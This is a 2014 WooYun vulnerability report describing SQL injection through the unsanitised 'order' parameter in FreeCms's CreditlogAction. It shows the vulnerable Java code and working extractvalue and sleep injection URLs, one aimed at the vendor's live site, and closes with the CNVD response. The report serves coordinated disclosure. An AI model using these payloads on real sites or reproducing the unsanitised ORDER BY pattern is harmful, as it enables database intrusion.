当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065422

漏洞标题:FreeCms通杀SQL注射漏洞

相关厂商:FreeCms.com

漏洞作者: Chora

提交时间:2014-06-19 12:08

修复时间:2014-09-17 12:10

公开时间:2014-09-17 12:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-19: 细节已通知厂商并且等待厂商处理中
2014-06-23: 厂商已经确认,细节仅向厂商公开
2014-06-26: 细节向第三方安全合作伙伴开放
2014-08-17: 细节向核心白帽子及相关领域专家公开
2014-08-27: 细节向普通白帽子公开
2014-09-06: 细节向实习白帽子公开
2014-09-17: 细节向公众公开

简要描述:

公司最近javaee有业务只有提起手枪公关了,深得园长天天炫斗真传。

详细说明:

order注射不只这一处,用到order的基本都存在比如CommentAction里也是类似的注入点,这里就只写一处啦。
免费版跟商业版都存在,只是商业版没有_list后缀,官方关闭了调试盲注。
0x00

package cn.freeteam.cms.action.member;
import java.util.List;
import cn.freeteam.base.BaseAction;
import cn.freeteam.cms.model.Comment;
import cn.freeteam.cms.model.Creditlog;
import cn.freeteam.cms.model.Creditrule;
import cn.freeteam.cms.service.CreditlogService;
import cn.freeteam.cms.service.CreditruleService;
import cn.freeteam.model.OperlogsExample;
import cn.freeteam.model.OperlogsExample.Criteria;
import cn.freeteam.util.Pager;
/**
*
* <p>Title: CreditlogAction.java</p>
*
* <p>Description:积分记录相关操作 </p>
*
* <p>Date: Feb 4, 2013</p>
*
* <p>Time: 7:52:23 PM</p>
*
* <p>Copyright: 2013</p>
*
* <p>Company: freeteam</p>
*
* @author freeteam
* @version 1.0
*
* <p>============================================</p>
* <p>Modification History
* <p>Mender: </p>
* <p>Date: </p>
* <p>Reason: </p>
* <p>============================================</p>
*/
public class CreditlogAction extends BaseAction{

private Creditlog creditlog;
private CreditlogService creditlogService;
private CreditruleService creditruleService;
private List<Creditlog> creditlogList;
private List<Creditrule> creditruleList;
private String order="credittime desc";

public CreditlogAction() {
init("creditlogService","creditruleService");
}
/**
* 列表
* @return
*/
public String list(){
if (creditlog==null ){
creditlog=new Creditlog();
}
if (order.trim().length()==0) {//只是单单的判断了order不为空,并没有做任何处理。
order=" credittime desc ";
}
creditlog.setMemberid(getLoginMember().getId());
creditruleList=creditruleService.find(null, "ordernum", true);//跟进0x01
creditlogList=creditlogService.find(creditlog, order, currPage, pageSize);
totalCount=creditlogService.count(creditlog);
Pager pager=new Pager(getHttpRequest());
pager.appendParam("creditlog.creditruleid");
pager.appendParam("creditlog.type");
pager.appendParam("pageSize");
pager.appendParam("pageFuncId");
pager.setCurrPage(currPage);
pager.appendParam("order");
pager.setPageSize(pageSize);
pager.setTotalCount(totalCount);
pager.setOutStrNoTable("creditlog_list.do");
pageStr=pager.getOutStrNoTable();
return "list";
}
...


0x01

public List<Creditlog> find(Creditlog Creditlog,String order,int currPage,int pageSize){
CreditlogExample example=new CreditlogExample();
Criteria criteria=example.createCriteria();
proSearchParam(Creditlog, criteria);
if (order!=null && order.trim().length()>0) {
example.setOrderByClause(order);//这里引入
}
example.setCurrPage(currPage);
example.setPageSize(pageSize);
return creditlogMapper.selectPageByExample(example);//这里带入查询
}


先注册一个用户
http://localhost:8080/JAVAEE/register.jsp
然后访问
http://localhost:8080/JAVAEE/member/creditlog_list.do?order=extractvalue(1,concat(0x7C,(select user()),0x7C))
官方关闭了调试,用sleep测试了下却是存在,只是映射的名称少了_list
http://www.freeteam.cn/member/creditlog.do?order=sleep(10)

漏洞证明:

1.png


2.png

修复方案:

你们是专业的,我是来打酱油的。

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-06-23 22:30

厂商回复:

CNVD确认所述漏洞原理分析,并进行实例复现有多个政府网站受影响,已经由CNVD直接联系软件生产厂商处置,电话至***,将通报发送至freeteam 邮箱中处置

最新状态:

暂无